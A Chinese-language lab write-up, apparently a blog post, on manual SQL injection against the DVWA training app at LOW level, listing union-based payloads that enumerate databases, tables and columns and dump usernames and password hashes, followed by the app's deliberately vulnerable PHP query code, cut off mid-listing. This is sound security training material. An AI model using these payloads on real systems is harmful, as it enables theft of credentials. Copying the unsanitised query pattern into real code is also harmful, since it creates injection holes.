根据自己的知识积累进行手工注入测试,若有说的不恰当的地方,还望指正~
因为我发现不同版本的DVWA源码有一定程度上的不同,所以我会把源码在每题讲解后面贴出来,这样可以方便对应,我这里的版本是 v1.0.7
一、LOW等级
- 输入框输入单引号’,报错
证明有SQL注入 - ‘ union select 1,2 # 可以看哪些数据可以回显
如果跟能回显的数据量不一样,则报错
-
查看所有数据库名称,'union select 1,group_concat(schema_name) from information_schema.schemata #
-
查看当前数据库 ,’ union select 1,database() #
-
查看数据库dvwa下的表
’ union select 1,table_name from information_schema.tables where table_schema=“dvwa” #
-
查看users 表的字段 ’ union select 1,group_concat(column_name) from information_schema.columns where table_name=“users” #
-
查看users表里的user 和 password ,中间用~连起来 ’ union select 1,concat_ws(’~’,user,password) from dvwa.users #
这里不得不说,手工注入还是比不上sqlmap,如果是在sqlmap,这里显示的密码就不是hash值了,而是给我们爆破解出来的值了。
#LOW等级源码
<?php
if(isset($_GET['Submit'])){
// Retrieve data
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i = 0;